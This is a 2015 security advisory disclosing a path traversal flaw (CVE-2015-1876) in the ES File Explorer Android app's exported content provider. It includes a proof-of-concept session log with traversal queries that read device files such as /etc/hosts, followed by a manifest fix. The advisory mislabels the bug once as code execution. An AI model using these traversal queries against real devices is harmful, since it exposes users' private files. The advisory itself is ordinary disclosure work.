Document Title:
===============
ES File Explorer v3.2.4.1 - Path Traversal Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1435
CVE-ID:
=======
CVE-2015-1876
Release Date:
=============
2015-02-17
Vulnerability Laboratory ID (VL-ID):
====================================
1435
Common Vulnerability Scoring System:
====================================
7.8
Product & Service Introduction:
===============================
ES File Explorer is a free all-in-one including a file manager & application & tasks,
support for online storage spaces (Dropbox, Google Drive, SkyDrive, Box.net, Sugarsync, Yandex, Amazon S3),
FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer.
It allows Android users around the world to manage their resources for free; you can see the files on your phone,
access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G,
EDGE or WiFi, and share with friends.
(Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.estrongs.android.pop )
Abstract Advisory Information:
==============================
An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application.
Vulnerability Disclosure Timeline:
==================================
2015-02-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
ES APP GROUP
Product: ES File Explorer - Mobile Web Application (Android) 3.2.4.1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application.
The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device.
The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by
local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a
malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service
and the request is http.
The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8.
Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation
of the vulnerability results in mobile application compromise
Request Method(s):
[+] POST & Sync
Vulnerable Module(s):
[+] content://com.estrongs.files/
Vulnerable Parameter(s):
[+] path
Affected Module(s):
[+] content://com.estrongs.files/system/
Proof of Concept (PoC):
=======================
The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
--- PoC Session Logs ---
Package: com.estrongs.android.pop
Application Label: ES File Explorer
Process Name: com.estrongs.android.pop
Version: 3.2.4.1
Data Directory: /data/data/com.estrongs.android.pop
APK Path: /data/app/com.estrongs.android.pop-2.apk
UID: 10235
GID: [3003, 3002, 3001, 1015, 1028]
Permissions:
- android.permission.WRITE_SETTINGS
- android.permission.CHANGE_WIFI_STATE
- android.permission.CHANGE_NETWORK_STATE
- android.permission.INTERNET
- android.permission.SET_WALLPAPER
- android.permission.ACCESS_NETWORK_STATE
- android.permission.ACCESS_WIFI_STATE
- com.android.launcher.permission.INSTALL_SHORTCUT
- com.android.launcher.permission.UNINSTALL_SHORTCUT
- android.permission.BLUETOOTH
- android.permission.BLUETOOTH_ADMIN
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.WRITE_MEDIA_STORAGE
- android.permission.WAKE_LOCK
- android.permission.READ_PHONE_STATE
- android.permission.ACCESS_SUPERUSER
- android.permission.VIBRATE
- .PERMISSION
- android.permission.CHANGE_WIFI_MULTICAST_STATE
- android.permission.SYSTEM_ALERT_WINDOW
- android.permission.GET_TASKS
- android.permission.READ_EXTERNAL_STORAGE
Defines Permissions:
- None
Activities:
com.estrongs.android.pop.view.FileExplorerActivity
com.estrongs.android.pop.app.compress.CompressionActivity
com.estrongs.android.pop.app.compress.CompressionProxyActivity
com.estrongs.android.pop.app.ESFileSharingActivity
com.estrongs.android.pop.app.SaveToESActivity
com.estrongs.android.pop.app.LocalFileSharingActivity
com.estrongs.android.pop.app.PopVideoPlayer
com.estrongs.android.pop.app.PopVideoPlayerProxyActivity
com.estrongs.android.pop.app.AudioPlayerProxyActivity
com.estrongs.android.pop.app.editor.PopNoteEditor
com.estrongs.android.pop.app.FileChooserActivity
com.estrongs.android.pop.app.ESContentChooserActivity
com.estrongs.android.pop.app.ESRingtoneChooserActivity
com.estrongs.android.pop.app.ESWallPaperChooserActivity
com.estrongs.android.pop.app.DownloaderActivity
com.estrongs.android.pop.app.BrowserDownloaderActivity
com.estrongs.android.pop.app.PopRemoteImageBrowser
com.estrongs.android.pop.ftp.ESFtpShortcut
com.estrongs.android.pop.app.ShowDialogActivity
com.estrongs.android.pop.app.AppCheckUpdateList
com.estrongs.android.pop.app.DefaultWindowSetting
com.estrongs.android.pop.app.DocumentExtModifyList
com.estrongs.android.pop.app.TransitActivity
Broadcast(Receiver):
com.estrongs.android.pop.app.AudioPlayerService$MediaButtonReceiver
com.baidu.share.message.ShareReceiver
com.estrongs.android.pop.EnableOEMConfig
com.estrongs.android.pop.app.InstallMonitorReceiver
com.estrongs.android.pop.app.StartServiceReceiver
Services:
com.estrongs.android.pop.bt.OBEXFtpServerService
Permission: null
Providers:
Authority: com.estrongs.files
Read Permission: null
Write Permission: null
Content Provider: com.estrongs.android.pop.app.FileContentProvider
Multiprocess Allowed: False
Grant Uri Permissions: True
read content://com.estrongs.files/system/../../../../../sdcard/<file>
Read file hosts
read content://com.estrongs.files/system/etc/hosts
127.0.0.1 localhost
Solution - Fix & Patch:
=======================
In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set.
Vulnerable code:
com.estrongs.files
Read Permission: null
Write Permission: null
android:exported="true" change "true" to "false"
When the value is "false", only components of the same application or applications with the same user ID can start the service or bind to it.
<provider android:authorities="com.estrongs.files" android:exported="true" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/>
Fixed code:
<provider android:authorities="com.estrongs.files" android:exported="false" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/>
read content://com.estrongs.files/system/etc/hosts
Permission Denial: opening provider com.estrongs.android.pop.app.FileContentProv
ider from ProcessRecord{4192d1a0 32050:com.mwr.dz:remote/u0a216} (pid=32050, uid
=10216) that is not exported from uid 10235
Security Risk:
==============
The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8)
Credits & Authors:
==================
Hadji Samir [s-dz@hotmail.fr]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]